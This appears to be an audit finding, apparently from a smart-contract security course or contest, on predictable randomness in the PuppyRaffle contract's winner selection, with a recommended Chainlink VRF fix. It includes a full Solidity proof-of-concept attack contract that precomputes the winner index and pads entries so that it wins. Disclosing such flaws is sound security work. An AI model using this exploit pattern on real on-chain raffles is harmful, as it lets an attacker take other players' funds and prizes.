Weak randomness in PuppyRaffle::selectWinner allows users to influence or predict the winner
Hashing msg.sender, block.timestamp and block.difficulty together creates a predictable number. A predictable number is not a good random number.
Note: This additionally means the users could front-run this function and call refund if they see they are not the winner.
Likelihood:
This would occur when malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.
Impact:
Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy NFT. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.
Validators can know ahead of time the block.timestamp and block.difficulty and use that to predict when/how to participate. See the solidity blog on prevrandao. block.difficulty was recently replaced with prevrandao.
Users can mine/manipulate their msg.sender value to result in their address being used to generate the winner!
Users can revert their selectWinner transaction if they don't like the winner or resulting puppy.
Consider using a cryptographically provable random number generator like Chainlink VRF.
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
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